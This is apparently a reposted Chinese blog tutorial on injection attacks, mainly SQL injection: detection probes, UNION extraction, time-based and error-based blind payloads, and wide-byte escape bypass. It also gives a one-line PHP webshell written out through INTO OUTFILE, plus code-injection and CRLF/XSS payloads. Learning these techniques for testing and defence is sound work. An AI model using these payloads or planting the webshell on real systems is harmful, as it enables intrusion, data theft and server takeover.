注入攻击
Posted iamgroot
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了注入攻击相关的知识,希望对你有一定的参考价值。
注入攻击本质是把用户的输入当做代码执行,包括:sql注入、XML注入等
发生条件:1.用户能够控制输入;2.原本要执行的代码拼接了用户的输入,导致执行了用户的输入
1.sql注入
sql语言是解释型语言,因此存在先天性的安全缺陷
原理什么的就不提了,从判断是否存在sql注入开始吧~
1.1 判断是否存在sql注入
http://localhost/test.php?id=1 and 1=1 页面正常 http://localhost/test.php?id=1 and 1=2 显示出错或空白
出现以上情况的,就是存在了sql注入,因为,id里的and 1=1影响了sql语句的执行
爆数据库版本:
http://localhost/test.php?id=1 and ord(mid(version(),1,1))>51
发现返回正常页面,说明数据库是mysql,并且版本大于4.0,支持union查询,反之是4.0以下版本或者其他类型数据库。
爆字段:
http://localhost/test.php?id=1 and order by 10 出错说明字段数小于10 http://localhost/test.php?id=1 and order by 5 出错说明字段数大于5 http://localhost/test.php?id=1 and order by 8 出错说明字段数小于8
用二分查找比较好
爆表:
采用union查询的方式进行爆表
http://localhost/test.php?id=1 and 1=2 union select 1,2,3,4,5,6
可以发现返回了几个数字,把联合查询中对应的数字替换成需要的sql语句进行查询即可
有用的函数:
database() 当前连接的数据库名
system_user() 数据库的系统用户
current_user() 当前登录数据库的用户名
last_insert_id() 最后对数据库进行插入操作的id
1.2 盲注
盲注主要分为三种类型:基于时间的盲注;基于报错的盲注;布尔型盲注
基于时间的盲注
sleep(n) 延迟n秒
if(expr1,expr2,expr3) 如果 expr1 为真,则 IF()函数执行expr2语句; 否则 IF()函数执行expr3语句
BENCHMARK(count,expr) 重复执行表达式expr count次
利用sleep函数:
?id=1’ and if(ascii(substr((要执行的语句),1,1))=115,sleep(5),1)# ?id=1’ union select (if(substring((要执行的语句),1,1)=char(115),sleep(5),1)),2,3# 例: ?id=1’ and if(ascii(substr(database(),1,1))=115,sleep(5),1)# ?id=1’ union select (if(substring(database(),1,1)=char(115),sleep(5),1)),2,3#
当错误的时候会有5 秒的时间延时。
利用BENCHMARK()函数
?id=1’ and (select 1 from (select concat((ascii(substr((要执行的语句),1,1))=115),benchmark(50000000,encode(‘msg’,’key’)))x from information_schema.tables group by x)a)# ?id=1’ and if(ascii(substr((要执行的语句),1,1))=115,benchmark(50000000,encode(‘msg’,’key’)),1)# ?id=1’ union select (if(substring((要执行的语句),1,1)=char(115),benchmark(50000000,encode(‘msg’,’key’)),1)),2,3#
当结果正确的时候,运行encode(‘msg’,’key’)操作50000000 次,会占用一段时间。
benchmark()函数可以测试某些特定操作的执行速度。该函数只是简单地返回服务器执行表达式的时间,而不会涉及分析和优化的开销。
基于报错的盲注
十大报错函数: floor(): select *from test where id = 1 and (select 1 from (select count(*),concat(语句,floor(rand(0)*2))x from information_schema.tables group by x)a)--
?id=1‘ union Select 1,count(*),concat(你希望的查询语句,floor(rand(0)*2))a from information_schema.columns group by a--+ extracvalue(): select * from test where id=1 and (extractvalue(1,concat(0x7e,(语句),0x7e)))-- updatexml(): select * from test where id=1 and (updatexml(1,concat(0x7e,(语句),0x7e),1))-- geometrycollection(): select * from test where id=1 and geometrycollection((select * from(select * from(语句)a)b)); multipoint(): select * from test where id=1 and multipoint((select * from(select * from(语句)a)b)); polygon(): select * from test where id=1 and polygon((select * from(select * from(语句a)b)); multipolygon(): select * from test where id=1 and multipolygon((select * from(select * from(语句)a)b)); linestring(): select * from test where id=1 and linestring((select * from(select * from(语句)a)b)); multilinestring(): select * from test where id=1 and multilinestring((select * from(select * from(语句)a)b)); exp(): select * from test where id=1 and exp(~(select * from(语句)a));
1.3 其他操作
如果当前数据库用户具有写权限,攻击者可以将信息写入本地磁盘中,如web目录
?id=1 union all select table_name,table_type,engine from information_schema.tables where table_schema=‘mysql‘order by table_name desc into outfile ‘/path/location/on/server/www/schema.txt‘
写入webshell:
?id=1 union select "<? system($_REQUEST[‘cmd‘]);?>",2,3,4 into outfile "/var/www/html/temp/c.php"--
读系统文件:LOAD_FILE()
写文件:INTO DUMPFILE()和 INTO OUTFILE()
命令执行
利用“用户自定义函数”,即UDF来执行命令
编码问题
基于字符集的注入问题
当mysql使用GBK编码时,0xbf27会被认为是一个双字节字符,但是在进入数据库之前,双字节字符会被认为是两个字符,某些函数,如PHP的addslashes()函数,或当magic_quotes_gpc开启时,会在特殊字符前增加一个转义字符“”。
当输入0xbf27时,会进行转义,变成0xbf5c27(“”的ascii码是0x5c),但是0xbf5c又可以组成一个字符,因此,转义符被吞掉,0x27不会被转义,还是单引号。
解决方法:统一数据库、操作系统、web应用所使用的字符集,以避免各层对字符的理解存在差异。
SQL column truncation
当mysql的sql_mode选项被设置为default时,即没有开启STRICT_ALL_TABLES 选项时,对输入的超长值只会显示warning而非error,即插入成功(截断超长部分),若精心设置,可能会出现重复数据的情况,造成越权访问。
2.XML注入
与sql注入很相似,用户能够控制数据的输入;程序拼凑数据。
修复:对用户输入数据中的“保留字符”进行转义,如用 lt 替换 <
3.代码注入
由一些不安全的系统函数造成,比如:eval()和system()
提交命令:/index.php?arg=1;phpinfo()
4.CLRF注入
CR: ,0x0d
LF: , 0x0a
可以用来注入HTTP头,因为HTTP头通过 来分割,若没有过滤,又把用户输入的数据放在HTTP头中,可能造成安全隐患。
如,两次CRLF注入到cookie
?argc=1%0d%0a%0d%0a<script>alert(/XSS/);</script> HTTP/1.1
以上是关于注入攻击的主要内容,如果未能解决你的问题,请参考以下文章